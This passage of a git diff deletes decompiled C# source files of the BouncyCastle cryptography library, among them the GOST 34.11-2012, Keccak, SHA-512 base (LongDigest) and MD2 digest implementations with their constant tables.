3200289132027606858uL, 4147956921301236051uL, 708224122457687732uL, 14832107397699362399uL, 17986746842616076520uL, 11299623869485987455uL, 13594198486351288261uL, 8231768351619019430uL, 8694883466081947438uL, - 1455760652066973453uL, 9579750024852670338uL, 11015579459201929007uL, 17314613109171068508uL, 15811118054803696506uL, 7243836256093423491uL, 3660620939660078543uL, 2208053939432577669uL, 16834810824707884725uL, 18271848992774824376uL, - 14417021283697659419uL, 3377712478417560930uL, 17894792228341543420uL, 16945073801847805085uL, 6217894297849621068uL, 7825436358742779939uL, 4987043392780078893uL, 12382858497269484532uL, 13415820639865306301uL, 8746199649574856250uL, - 869662533239166704uL, 14650457721364100391uL, 16925141562858405257uL, 2911244210510417434uL, 18382312974373876624uL, 11498597901617990979uL, 10828667572279970807uL, 5928147536793457436uL, 11212941572902532115uL, 5738424067781505701uL, - 4545920254677684779uL, 14357837190168765399uL, 10540746283984138919uL, 15236432095734105306uL, 2538748850867346054uL, 11856293991052060216uL, 13021741769935452261uL, 15990798677628125186uL, 763205940277591432uL, 14016609120497251219uL, - 10061287064328956494uL, 3093811003563252786uL, 4790004205042634049uL, 8356374131917757362uL, 525807322001048172uL, 9973800865292223322uL, 8060006530596508447uL, 14306696413404433091uL, 4971791225320957497uL, 16356195123205149225uL, - 11676952182109293888uL, 1866917567049488617uL, 17601962695443621644uL, 4878334347704591445uL, 15577684812609376326uL, 5838476093026002976uL, 16661444707372843629uL, 585131888633540512uL, 4258502335484898171uL, 9216164226481474882uL, - 1051613531605566680uL, 9311100443926583238uL, 12786619038457767969uL, 7592012931346331751uL, 17784440428065453348uL, 1921896258116084693uL, 3288584640079142494uL, 182885720694182440uL, 10430896929374429327uL, 4347442274373970199uL, - 12254875670338446048uL, 470303682846092152uL, 15755474228186677870uL, 14073238624926194311uL, 7877737635941138743uL, 18183412781327927468uL, 8981595325954651774uL, 18092225707227040448uL, 13829189599099727097uL, 7536474657577537907uL, - 14599035985023753267uL, 13539018426536891817uL, 998525038457700324uL, 8121292137418072206uL, 16463535689691560273uL, 10154726272180381730uL, 17216498010023871705uL, 1689003026191473713uL, 6955846591918243539uL, 12968836256081541641uL, - 10451497052958755227uL, 1104161065046732236uL, 5822238831865856308uL, 7770259743761115727uL, 10722677434777197023uL, 3109098905151763750uL, 7477148998953467071uL, 5270373732550072797uL, 235152363269307196uL, 2264823631868769169uL, - 11566760878849073000uL, 15293842507372922550uL, 129144564315678996uL, 12435787444463389080uL, 6107963510664673380uL, 2809900646717377218uL, 16044592061068688190uL, 292565944326076752uL, 16550986154605973573uL, 17513004949887526240uL, - 7062097245496290555uL, 16747641319377612705uL, 14707889229881751371uL, 6021262719684655624uL, 1972895747902540481uL, 3945791491441759391uL, 8801111098641915142uL, 13700503016009418221uL, 14942809973861092471uL, 17799868517652798512uL, - 5560617129282953357uL, 6890080809738628344uL, 2627701227983280362uL, 9690522075866191274uL, 5539875718724946329uL, 0uL, 17034008114061809393uL, 13077421330682024305uL, 13963290176307300527uL, 7299656588959035031uL, - 1583357035284794905uL, 13305652357639548565uL, 12200671035189303772uL, 6400302286636641940uL, 6420058603497817984uL, 6691528990365472708uL, 9400350877559778554uL, 15130709207736669938uL, 9038681643377794922uL, 13132277426487405133uL, - 4440522822651396099uL, 8411535559894538718uL, 16096717416137511466uL, 4238992274866487919uL, 18077078508495971284uL, 13838789949392609723uL, 9599646529712778902uL, 14123892125294942443uL, 5169063728564034821uL, 12670779828505572004uL, - 10920656821177770723uL, 13361612877962987393uL, 2428230993188407470uL, 3570877924549138163uL, 14885899578566174051uL, 4060646644394037319uL, 3855408526229221283uL, 16641794458759736185uL, 16173936262127370241uL, 8928671747737777170uL, - 1348049825574685813uL, 3677174894530839771uL, 10353696833961841438uL, 15701199224267946322uL, 8644847306339132130uL, 2719514554751545854uL, 8462570783810646218uL, 1405101508380157281uL, 3478079366649118695uL, 11907751461527015212uL, - 15861795400831396118uL, 6598086612559222184uL, 12839867613895398173uL, 3768380308409468599uL, 6708048310613262032uL, 1739040292966674941uL, 11410407946413892695uL, 11121233283590249735uL, 11801135715313362004uL, 9091840505278506070uL, - 9777726215814167742uL, 4700331558701315709uL, 11030972914175796795uL, 4679309188558905193uL, 2030323828767328429uL, 5649811934742993841uL, 415940168518455364uL, 16266875523426953493uL, 17492088132592553076uL, 13255757203528008537uL, - 7190925116101314031uL, 11320506052158021483uL, 16372326831517072189uL, 15417076028166565794uL, 17693635250630774296uL, 5077496726762238993uL, 2339654594279481786uL, 13646640466407096017uL, 12546315335725685680uL, 18361677116664093316uL, - 6127437837148246384uL, 3002776577694476046uL, 12090310421094014212uL, 10260721838532639242uL, 1294312070793836361uL, 15527788568662064522uL, 17232911777424223693uL, 5255402455948538057uL, 2517972805691405202uL, 7008429859484506055uL, - 5361338717396067041uL, 9294722410648223442uL, 8178097563976550810uL, 10629217130044840883uL, 9863923954178969970uL, 2824906557929530326uL - } - }; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012_256Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012_256Digest.cs deleted file mode 100644 index a13944f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012_256Digest.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Gost3411_2012_256Digest : Gost3411_2012Digest -{ - private static readonly byte[] IV = new byte[64] - { - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1 - }; - - public override string AlgorithmName => "GOST3411-2012-256"; - - public Gost3411_2012_256Digest() - : base(IV) - { - } - - public Gost3411_2012_256Digest(Gost3411_2012_256Digest other) - : base(IV) - { - Reset(other); - } - - public override int GetDigestSize() - { - return 32; - } - - public override int DoFinal(byte[] output, int outOff) - { - byte[] array = new byte[64]; - base.DoFinal(array, 0); - Array.Copy(array, 32, output, outOff, 32); - return 32; - } - - public override IMemoable Copy() - { - return new Gost3411_2012_256Digest(this); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012_512Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012_512Digest.cs deleted file mode 100644 index 6b0edbd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012_512Digest.cs +++ /dev/null @@ -1,37 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Gost3411_2012_512Digest : Gost3411_2012Digest -{ - private static readonly byte[] IV; - - public override string AlgorithmName => "GOST3411-2012-512"; - - public Gost3411_2012_512Digest() - : base(IV) - { - } - - public Gost3411_2012_512Digest(Gost3411_2012_512Digest other) - : base(IV) - { - Reset(other); - } - - public override int GetDigestSize() - { - return 64; - } - - public override IMemoable Copy() - { - return new Gost3411_2012_512Digest(this); - } - - static Gost3411_2012_512Digest() - { - byte[] iV = new byte[64]; - IV = iV; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/KeccakDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/KeccakDigest.cs deleted file mode 100644 index e4a73f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/KeccakDigest.cs +++ /dev/null @@ -1,435 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class KeccakDigest : IDigest, IMemoable -{ - private static readonly ulong[] KeccakRoundConstants = new ulong[24] - { - 1uL, 32898uL, 9223372036854808714uL, 9223372039002292224uL, 32907uL, 2147483649uL, 9223372039002292353uL, 9223372036854808585uL, 138uL, 136uL, - 2147516425uL, 2147483658uL, 2147516555uL, 9223372036854775947uL, 9223372036854808713uL, 9223372036854808579uL, 9223372036854808578uL, 9223372036854775936uL, 32778uL, 9223372039002259466uL, - 9223372039002292353uL, 9223372036854808704uL, 2147483649uL, 9223372039002292232uL - }; - - private ulong[] state = new ulong[25]; - - protected byte[] dataQueue = new byte[192]; - - protected int rate; - - protected int bitsInQueue; - - protected int fixedOutputLength; - - protected bool squeezing; - - public virtual string AlgorithmName => "Keccak-" + fixedOutputLength; - - public KeccakDigest() - : this(288) - { - } - - public KeccakDigest(int bitLength) - { - Init(bitLength); - } - - public KeccakDigest(KeccakDigest source) - { - CopyIn(source); - } - - private void CopyIn(KeccakDigest source) - { - Array.Copy(source.state, 0, state, 0, source.state.Length); - Array.Copy(source.dataQueue, 0, dataQueue, 0, source.dataQueue.Length); - rate = source.rate; - bitsInQueue = source.bitsInQueue; - fixedOutputLength = source.fixedOutputLength; - squeezing = source.squeezing; - } - - public virtual int GetDigestSize() - { - return fixedOutputLength >> 3; - } - - public virtual void Update(byte input) - { - Absorb(new byte[1] { input }, 0, 1); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int len) - { - Absorb(input, inOff, len); - } - - public virtual int DoFinal(byte[] output, int outOff) - { - Squeeze(output, outOff, fixedOutputLength); - Reset(); - return GetDigestSize(); - } - - protected virtual int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits) - { - if (partialBits > 0) - { - AbsorbBits(partialByte, partialBits); - } - Squeeze(output, outOff, fixedOutputLength); - Reset(); - return GetDigestSize(); - } - - public virtual void Reset() - { - Init(fixedOutputLength); - } - - public virtual int GetByteLength() - { - return rate >> 3; - } - - private void Init(int bitLength) - { - switch (bitLength) - { - case 128: - case 224: - case 256: - case 288: - case 384: - case 512: - InitSponge(1600 - (bitLength << 1)); - break; - default: - throw new ArgumentException("must be one of 128, 224, 256, 288, 384, or 512.", "bitLength"); - } - } - - private void InitSponge(int rate) - { - if (rate <= 0 || rate >= 1600 || (rate & 0x3F) != 0) - { - throw new InvalidOperationException("invalid rate value"); - } - this.rate = rate; - Array.Clear(state, 0, state.Length); - Arrays.Fill(dataQueue, 0); - bitsInQueue = 0; - squeezing = false; - fixedOutputLength = 1600 - rate >> 1; - } - - protected void Absorb(byte[] data, int off, int len) - { - if ((bitsInQueue & 7) != 0) - { - throw new InvalidOperationException("attempt to absorb with odd length queue"); - } - if (squeezing) - { - throw new InvalidOperationException("attempt to absorb while squeezing"); - } - int num = bitsInQueue >> 3; - int num2 = rate >> 3; - int num3 = 0; - while (num3 < len) - { - if (num == 0 && num3 <= len - num2) - { - do - { - KeccakAbsorb(data, off + num3); - num3 += num2; - } - while (num3 <= len - num2); - continue; - } - int num4 = System.Math.Min(num2 - num, len - num3); - Array.Copy(data, off + num3, dataQueue, num, num4); - num += num4; - num3 += num4; - if (num == num2) - { - KeccakAbsorb(dataQueue, 0); - num = 0; - } - } - bitsInQueue = num << 3; - } - - protected void AbsorbBits(int data, int bits) - { - if (bits < 1 || bits > 7) - { - throw new ArgumentException("must be in the range 1 to 7", "bits"); - } - if ((bitsInQueue & 7) != 0) - { - throw new InvalidOperationException("attempt to absorb with odd length queue"); - } - if (squeezing) - { - throw new InvalidOperationException("attempt to absorb while squeezing"); - } - int num = (1 << bits) - 1; - dataQueue[bitsInQueue >> 3] = (byte)(data & num); - bitsInQueue += bits; - } - - private void PadAndSwitchToSqueezingPhase() - { - byte[] array2; - byte[] array = (array2 = dataQueue); - int num = bitsInQueue >> 3; - nint num2 = num; - array[num] = (byte)(array2[num2] | (byte)(1 << (bitsInQueue & 7))); - if (++bitsInQueue == rate) - { - KeccakAbsorb(dataQueue, 0); - bitsInQueue = 0; - } - int num3 = bitsInQueue >> 6; - int num4 = bitsInQueue & 0x3F; - int num5 = 0; - ulong[] array4; - for (int i = 0; i < num3; i++) - { - ulong[] array3 = (array4 = state); - int num6 = i; - num2 = num6; - array3[num6] = array4[num2] ^ Pack.LE_To_UInt64(dataQueue, num5); - num5 += 8; - } - if (num4 > 0) - { - ulong num7 = (ulong)((1L << num4) - 1); - ulong[] array5 = (array4 = state); - num2 = num3; - array5[num3] = array4[num2] ^ (Pack.LE_To_UInt64(dataQueue, num5) & num7); - } - ulong[] array6 = (array4 = state); - int num8 = rate - 1 >> 6; - num2 = num8; - array6[num8] = array4[num2] ^ 0x8000000000000000uL; - KeccakPermutation(); - KeccakExtract(); - bitsInQueue = rate; - squeezing = true; - } - - protected void Squeeze(byte[] output, int offset, long outputLength) - { - if (!squeezing) - { - PadAndSwitchToSqueezingPhase(); - } - if ((outputLength & 7) != 0) - { - throw new InvalidOperationException("outputLength not a multiple of 8"); - } - int num2; - for (long num = 0L; num < outputLength; num += num2) - { - if (bitsInQueue == 0) - { - KeccakPermutation(); - KeccakExtract(); - bitsInQueue = rate; - } - num2 = (int)System.Math.Min(bitsInQueue, outputLength - num); - Array.Copy(dataQueue, rate - bitsInQueue >> 3, output, offset + (int)(num >> 3), num2 >> 3); - bitsInQueue -= num2; - } - } - - private void KeccakAbsorb(byte[] data, int off) - { - int num = rate >> 6; - for (int i = 0; i < num; i++) - { - ulong[] array2; - ulong[] array = (array2 = state); - int num2 = i; - nint num3 = num2; - array[num2] = array2[num3] ^ Pack.LE_To_UInt64(data, off); - off += 8; - } - KeccakPermutation(); - } - - private void KeccakExtract() - { - Pack.UInt64_To_LE(state, 0, rate >> 6, dataQueue, 0); - } - - private void KeccakPermutation() - { - ulong[] array = state; - ulong num = array[0]; - ulong num2 = array[1]; - ulong num3 = array[2]; - ulong num4 = array[3]; - ulong num5 = array[4]; - ulong num6 = array[5]; - ulong num7 = array[6]; - ulong num8 = array[7]; - ulong num9 = array[8]; - ulong num10 = array[9]; - ulong num11 = array[10]; - ulong num12 = array[11]; - ulong num13 = array[12]; - ulong num14 = array[13]; - ulong num15 = array[14]; - ulong num16 = array[15]; - ulong num17 = array[16]; - ulong num18 = array[17]; - ulong num19 = array[18]; - ulong num20 = array[19]; - ulong num21 = array[20]; - ulong num22 = array[21]; - ulong num23 = array[22]; - ulong num24 = array[23]; - ulong num25 = array[24]; - for (int i = 0; i < 24; i++) - { - ulong num26 = num ^ num6 ^ num11 ^ num16 ^ num21; - ulong num27 = num2 ^ num7 ^ num12 ^ num17 ^ num22; - ulong num28 = num3 ^ num8 ^ num13 ^ num18 ^ num23; - ulong num29 = num4 ^ num9 ^ num14 ^ num19 ^ num24; - ulong num30 = num5 ^ num10 ^ num15 ^ num20 ^ num25; - ulong num31 = ((num27 << 1) | (num27 >> 63)) ^ num30; - ulong num32 = ((num28 << 1) | (num28 >> 63)) ^ num26; - ulong num33 = ((num29 << 1) | (num29 >> 63)) ^ num27; - ulong num34 = ((num30 << 1) | (num30 >> 63)) ^ num28; - ulong num35 = ((num26 << 1) | (num26 >> 63)) ^ num29; - num ^= num31; - num6 ^= num31; - num11 ^= num31; - num16 ^= num31; - num21 ^= num31; - num2 ^= num32; - num7 ^= num32; - num12 ^= num32; - num17 ^= num32; - num22 ^= num32; - num3 ^= num33; - num8 ^= num33; - num13 ^= num33; - num18 ^= num33; - num23 ^= num33; - num4 ^= num34; - num9 ^= num34; - num14 ^= num34; - num19 ^= num34; - num24 ^= num34; - num5 ^= num35; - num10 ^= num35; - num15 ^= num35; - num20 ^= num35; - num25 ^= num35; - num27 = (num2 << 1) | (num2 >> 63); - num2 = (num7 << 44) | (num7 >> 20); - num7 = (num10 << 20) | (num10 >> 44); - num10 = (num23 << 61) | (num23 >> 3); - num23 = (num15 << 39) | (num15 >> 25); - num15 = (num21 << 18) | (num21 >> 46); - num21 = (num3 << 62) | (num3 >> 2); - num3 = (num13 << 43) | (num13 >> 21); - num13 = (num14 << 25) | (num14 >> 39); - num14 = (num20 << 8) | (num20 >> 56); - num20 = (num24 << 56) | (num24 >> 8); - num24 = (num16 << 41) | (num16 >> 23); - num16 = (num5 << 27) | (num5 >> 37); - num5 = (num25 << 14) | (num25 >> 50); - num25 = (num22 << 2) | (num22 >> 62); - num22 = (num9 << 55) | (num9 >> 9); - num9 = (num17 << 45) | (num17 >> 19); - num17 = (num6 << 36) | (num6 >> 28); - num6 = (num4 << 28) | (num4 >> 36); - num4 = (num19 << 21) | (num19 >> 43); - num19 = (num18 << 15) | (num18 >> 49); - num18 = (num12 << 10) | (num12 >> 54); - num12 = (num8 << 6) | (num8 >> 58); - num8 = (num11 << 3) | (num11 >> 61); - num11 = num27; - num26 = num ^ (~num2 & num3); - num27 = num2 ^ (~num3 & num4); - num3 ^= ~num4 & num5; - num4 ^= ~num5 & num; - num5 ^= ~num & num2; - num = num26; - num2 = num27; - num26 = num6 ^ (~num7 & num8); - num27 = num7 ^ (~num8 & num9); - num8 ^= ~num9 & num10; - num9 ^= ~num10 & num6; - num10 ^= ~num6 & num7; - num6 = num26; - num7 = num27; - num26 = num11 ^ (~num12 & num13); - num27 = num12 ^ (~num13 & num14); - num13 ^= ~num14 & num15; - num14 ^= ~num15 & num11; - num15 ^= ~num11 & num12; - num11 = num26; - num12 = num27; - num26 = num16 ^ (~num17 & num18); - num27 = num17 ^ (~num18 & num19); - num18 ^= ~num19 & num20; - num19 ^= ~num20 & num16; - num20 ^= ~num16 & num17; - num16 = num26; - num17 = num27; - num26 = num21 ^ (~num22 & num23); - num27 = num22 ^ (~num23 & num24); - num23 ^= ~num24 & num25; - num24 ^= ~num25 & num21; - num25 ^= ~num21 & num22; - num21 = num26; - num22 = num27; - num ^= KeccakRoundConstants[i]; - } - array[0] = num; - array[1] = num2; - array[2] = num3; - array[3] = num4; - array[4] = num5; - array[5] = num6; - array[6] = num7; - array[7] = num8; - array[8] = num9; - array[9] = num10; - array[10] = num11; - array[11] = num12; - array[12] = num13; - array[13] = num14; - array[14] = num15; - array[15] = num16; - array[16] = num17; - array[17] = num18; - array[18] = num19; - array[19] = num20; - array[20] = num21; - array[21] = num22; - array[22] = num23; - array[23] = num24; - array[24] = num25; - } - - public virtual IMemoable Copy() - { - return new KeccakDigest(this); - } - - public virtual void Reset(IMemoable other) - { - CopyIn((KeccakDigest)other); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/LongDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/LongDigest.cs deleted file mode 100644 index 9d1875e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/LongDigest.cs +++ /dev/null @@ -1,269 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public abstract class LongDigest : IDigest, IMemoable -{ - private int MyByteLength = 128; - - private byte[] xBuf; - - private int xBufOff; - - private long byteCount1; - - private long byteCount2; - - internal ulong H1; - - internal ulong H2; - - internal ulong H3; - - internal ulong H4; - - internal ulong H5; - - internal ulong H6; - - internal ulong H7; - - internal ulong H8; - - private ulong[] W = new ulong[80]; - - private int wOff; - - internal static readonly ulong[] K = new ulong[80] - { - 4794697086780616226uL, 8158064640168781261uL, 13096744586834688815uL, 16840607885511220156uL, 4131703408338449720uL, 6480981068601479193uL, 10538285296894168987uL, 12329834152419229976uL, 15566598209576043074uL, 1334009975649890238uL, - 2608012711638119052uL, 6128411473006802146uL, 8268148722764581231uL, 9286055187155687089uL, 11230858885718282805uL, 13951009754708518548uL, 16472876342353939154uL, 17275323862435702243uL, 1135362057144423861uL, 2597628984639134821uL, - 3308224258029322869uL, 5365058923640841347uL, 6679025012923562964uL, 8573033837759648693uL, 10970295158949994411uL, 12119686244451234320uL, 12683024718118986047uL, 13788192230050041572uL, 14330467153632333762uL, 15395433587784984357uL, - 489312712824947311uL, 1452737877330783856uL, 2861767655752347644uL, 3322285676063803686uL, 5560940570517711597uL, 5996557281743188959uL, 7280758554555802590uL, 8532644243296465576uL, 9350256976987008742uL, 10552545826968843579uL, - 11727347734174303076uL, 12113106623233404929uL, 14000437183269869457uL, 14369950271660146224uL, 15101387698204529176uL, 15463397548674623760uL, 17586052441742319658uL, 1182934255886127544uL, 1847814050463011016uL, 2177327727835720531uL, - 2830643537854262169uL, 3796741975233480872uL, 4115178125766777443uL, 5681478168544905931uL, 6601373596472566643uL, 7507060721942968483uL, 8399075790359081724uL, 8693463985226723168uL, 9568029438360202098uL, 10144078919501101548uL, - 10430055236837252648uL, 11840083180663258601uL, 13761210420658862357uL, 14299343276471374635uL, 14566680578165727644uL, 15097957966210449927uL, 16922976911328602910uL, 17689382322260857208uL, 500013540394364858uL, 748580250866718886uL, - 1242879168328830382uL, 1977374033974150939uL, 2944078676154940804uL, 3659926193048069267uL, 4368137639120453308uL, 4836135668995329356uL, 5532061633213252278uL, 6448918945643986474uL, 6902733635092675308uL, 7801388544844847127uL - }; - - public abstract string AlgorithmName { get; } - - internal LongDigest() - { - xBuf = new byte[8]; - Reset(); - } - - internal LongDigest(LongDigest t) - { - xBuf = new byte[t.xBuf.Length]; - CopyIn(t); - } - - protected void CopyIn(LongDigest t) - { - Array.Copy(t.xBuf, 0, xBuf, 0, t.xBuf.Length); - xBufOff = t.xBufOff; - byteCount1 = t.byteCount1; - byteCount2 = t.byteCount2; - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - H5 = t.H5; - H6 = t.H6; - H7 = t.H7; - H8 = t.H8; - Array.Copy(t.W, 0, W, 0, t.W.Length); - wOff = t.wOff; - } - - public void Update(byte input) - { - xBuf[xBufOff++] = input; - if (xBufOff == xBuf.Length) - { - ProcessWord(xBuf, 0); - xBufOff = 0; - } - byteCount1++; - } - - public void BlockUpdate(byte[] input, int inOff, int length) - { - while (xBufOff != 0 && length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - while (length > xBuf.Length) - { - ProcessWord(input, inOff); - inOff += xBuf.Length; - length -= xBuf.Length; - byteCount1 += xBuf.Length; - } - while (length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - } - - public void Finish() - { - AdjustByteCounts(); - long lowW = byteCount1 << 3; - long hiW = byteCount2; - Update(128); - while (xBufOff != 0) - { - Update(0); - } - ProcessLength(lowW, hiW); - ProcessBlock(); - } - - public virtual void Reset() - { - byteCount1 = 0L; - byteCount2 = 0L; - xBufOff = 0; - for (int i = 0; i < xBuf.Length; i++) - { - xBuf[i] = 0; - } - wOff = 0; - Array.Clear(W, 0, W.Length); - } - - internal void ProcessWord(byte[] input, int inOff) - { - W[wOff] = Pack.BE_To_UInt64(input, inOff); - if (++wOff == 16) - { - ProcessBlock(); - } - } - - private void AdjustByteCounts() - { - if (byteCount1 > 2305843009213693951L) - { - byteCount2 += byteCount1 >>> 61; - byteCount1 &= 2305843009213693951L; - } - } - - internal void ProcessLength(long lowW, long hiW) - { - if (wOff > 14) - { - ProcessBlock(); - } - W[14] = (ulong)hiW; - W[15] = (ulong)lowW; - } - - internal void ProcessBlock() - { - AdjustByteCounts(); - for (int i = 16; i <= 79; i++) - { - W[i] = Sigma1(W[i - 2]) + W[i - 7] + Sigma0(W[i - 15]) + W[i - 16]; - } - ulong num = H1; - ulong num2 = H2; - ulong num3 = H3; - ulong num4 = H4; - ulong num5 = H5; - ulong num6 = H6; - ulong num7 = H7; - ulong num8 = H8; - int num9 = 0; - for (int j = 0; j < 10; j++) - { - num8 += Sum1(num5) + Ch(num5, num6, num7) + K[num9] + W[num9++]; - num4 += num8; - num8 += Sum0(num) + Maj(num, num2, num3); - num7 += Sum1(num4) + Ch(num4, num5, num6) + K[num9] + W[num9++]; - num3 += num7; - num7 += Sum0(num8) + Maj(num8, num, num2); - num6 += Sum1(num3) + Ch(num3, num4, num5) + K[num9] + W[num9++]; - num2 += num6; - num6 += Sum0(num7) + Maj(num7, num8, num); - num5 += Sum1(num2) + Ch(num2, num3, num4) + K[num9] + W[num9++]; - num += num5; - num5 += Sum0(num6) + Maj(num6, num7, num8); - num4 += Sum1(num) + Ch(num, num2, num3) + K[num9] + W[num9++]; - num8 += num4; - num4 += Sum0(num5) + Maj(num5, num6, num7); - num3 += Sum1(num8) + Ch(num8, num, num2) + K[num9] + W[num9++]; - num7 += num3; - num3 += Sum0(num4) + Maj(num4, num5, num6); - num2 += Sum1(num7) + Ch(num7, num8, num) + K[num9] + W[num9++]; - num6 += num2; - num2 += Sum0(num3) + Maj(num3, num4, num5); - num += Sum1(num6) + Ch(num6, num7, num8) + K[num9] + W[num9++]; - num5 += num; - num += Sum0(num2) + Maj(num2, num3, num4); - } - H1 += num; - H2 += num2; - H3 += num3; - H4 += num4; - H5 += num5; - H6 += num6; - H7 += num7; - H8 += num8; - wOff = 0; - Array.Clear(W, 0, 16); - } - - private static ulong Ch(ulong x, ulong y, ulong z) - { - return (x & y) ^ (~x & z); - } - - private static ulong Maj(ulong x, ulong y, ulong z) - { - return (x & y) ^ (x & z) ^ (y & z); - } - - private static ulong Sum0(ulong x) - { - return ((x << 36) | (x >> 28)) ^ ((x << 30) | (x >> 34)) ^ ((x << 25) | (x >> 39)); - } - - private static ulong Sum1(ulong x) - { - return ((x << 50) | (x >> 14)) ^ ((x << 46) | (x >> 18)) ^ ((x << 23) | (x >> 41)); - } - - private static ulong Sigma0(ulong x) - { - return ((x << 63) | (x >> 1)) ^ ((x << 56) | (x >> 8)) ^ (x >> 7); - } - - private static ulong Sigma1(ulong x) - { - return ((x << 45) | (x >> 19)) ^ ((x << 3) | (x >> 61)) ^ (x >> 6); - } - - public int GetByteLength() - { - return MyByteLength; - } - - public abstract int GetDigestSize(); - - public abstract int DoFinal(byte[] output, int outOff); - - public abstract IMemoable Copy(); - - public abstract void Reset(IMemoable t); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD2Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD2Digest.cs deleted file mode 100644 index 5510cc9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD2Digest.cs +++ /dev/null @@ -1,201 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class MD2Digest : IDigest, IMemoable -{ - private const int DigestLength = 16; - - private const int BYTE_LENGTH = 16; - - private byte[] X = new byte[48]; - - private int xOff; - - private byte[] M = new byte[16]; - - private int mOff; - - private byte[] C = new byte[16]; - - private int COff; - - private static readonly byte[] S = new byte[256] - { - 41, 46, 67, 201, 162, 216, 124, 1, 61, 54, - 84, 161, 236, 240, 6, 19, 98, 167, 5, 243, - 192, 199, 115, 140, 152, 147, 43, 217, 188, 76, - 130, 202, 30, 155, 87, 60, 253, 212, 224, 22, - 103, 66, 111, 24, 138, 23, 229, 18, 190, 78, - 196, 214, 218, 158, 222, 73, 160, 251, 245, 142, - 187, 47, 238, 122, 169, 104, 121, 145, 21, 178, - 7, 63, 148, 194, 16, 137, 11, 34, 95, 33, - 128, 127, 93, 154, 90, 144, 50, 39, 53, 62, - 204, 231, 191, 247, 151, 3, 255, 25, 48, 179, - 72, 165, 181, 209, 215, 94, 146, 42, 172, 86, - 170, 198, 79, 184, 56, 210, 150, 164, 125, 182, - 118, 252, 107, 226, 156, 116, 4, 241, 69, 157, - 112, 89, 100, 113, 135, 32, 134, 91, 207, 101, - 230, 45, 168, 2, 27, 96, 37, 173, 174, 176, - 185, 246, 28, 70, 97, 105, 52, 64, 126, 15, - 85, 71, 163, 35, 221, 81, 175, 58, 195, 92, - 249, 206, 186, 197, 234, 38, 44, 83, 13, 110, - 133, 40, 132, 9, 211, 223, 205, 244, 65, 129, - 77, 82, 106, 220, 55, 200, 108, 193, 171, 250, - 36, 225, 123, 8, 12, 189, 177, 74, 120, 136, - 149, 139, 227, 99, 232, 109, 233, 203, 213, 254, - 59, 0, 29, 57, 242, 239, 183, 14, 102, 88, - 208, 228, 166, 119, 114, 248, 235, 117, 75, 10, - 49, 68, 80, 180, 143, 237, 31, 26, 219, 153, - 141, 51, 159, 17, 131, 20 - }; - - public string AlgorithmName => "MD2"; - - public MD2Digest() - { - Reset(); - } - - public MD2Digest(MD2Digest t) - { - CopyIn(t); - } - - private void CopyIn(MD2Digest t) - { - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - Array.Copy(t.M, 0, M, 0, t.M.Length); - mOff = t.mOff; - Array.Copy(t.C, 0, C, 0, t.C.Length); - COff = t.COff; - } - - public int GetDigestSize() - { - return 16; - } - - public int GetByteLength() - { - return 16; - } - - public int DoFinal(byte[] output, int outOff) - { - byte b = (byte)(M.Length - mOff); - for (int i = mOff; i < M.Length; i++) - { - M[i] = b; - } - ProcessChecksum(M); - ProcessBlock(M); - ProcessBlock(C); - Array.Copy(X, xOff, output, outOff, 16); - Reset(); - return 16; - } - - public void Reset() - { - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - mOff = 0; - for (int j = 0; j != M.Length; j++) - { - M[j] = 0; - } - COff = 0; - for (int k = 0; k != C.Length; k++) - { - C[k] = 0; - } - } - - public void Update(byte input) - { - M[mOff++] = input; - if (mOff == 16) - { - ProcessChecksum(M); - ProcessBlock(M); - mOff = 0; - } - } - - public void BlockUpdate(byte[] input, int inOff, int length) - { - while (mOff != 0 && length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - while (length > 16) - { - Array.Copy(input, inOff, M, 0, 16); - 